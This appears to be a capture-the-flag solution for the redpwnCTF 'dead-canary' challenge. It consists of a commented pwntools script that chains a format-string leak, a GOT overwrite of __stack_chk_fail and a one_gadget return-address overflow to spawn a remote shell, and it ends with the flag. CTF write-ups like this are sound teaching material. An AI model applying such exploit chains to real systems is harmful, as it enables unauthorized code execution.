Rating:

```
from pwn import *

elf = ELF("dead-canary")
libc = ELF("./libc.so.6")

p = remote("2020.redpwnc.tf", 31744)
# p = process("./dead-canary")

# format string bug - leak address in stack
# There is a pointer to _IO_stdfile_1_lock structure at stack position 2

# format string bug - write-what-where
# Overwrite __stack_chk_fail GOT entry to jump back to main (0x400737)

payload1 = (b"%02$" + str(0x0737 - 7).encode("ascii") + b"p\n").ljust(16) + b"%9$hn " + p64(elf.got["__stack_chk_fail"])
payload1 += cyclic(0x120 - len(payload1))

p.send(payload1)
p.recvuntil("0x")

# magic number is offset to get to base libc address from _IO_stdfile_1_lock
libc_base = int(p.recvline().strip(), 16) - 3705408 - libc.sym["printf"]

info("libc base is at %x" % libc_base)

#
# $ one_gadget libc.so.6
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
#
one_gadget = 0x4f2c5

# overflow return address with one_gadget value
# stack canary will be overwritten again, it will again trigger call to main(), nothing scary.
payload2 = cyclic(0x120 - 8) + p64(libc_base+one_gadget)
p.send(payload2)

# main is called again. do nothing, don't overflow anything this time..
payload3 = "Hello!"
p.send(payload3)

p.interactive()

# flag{t0_k1ll_a_canary_4e47da34}
```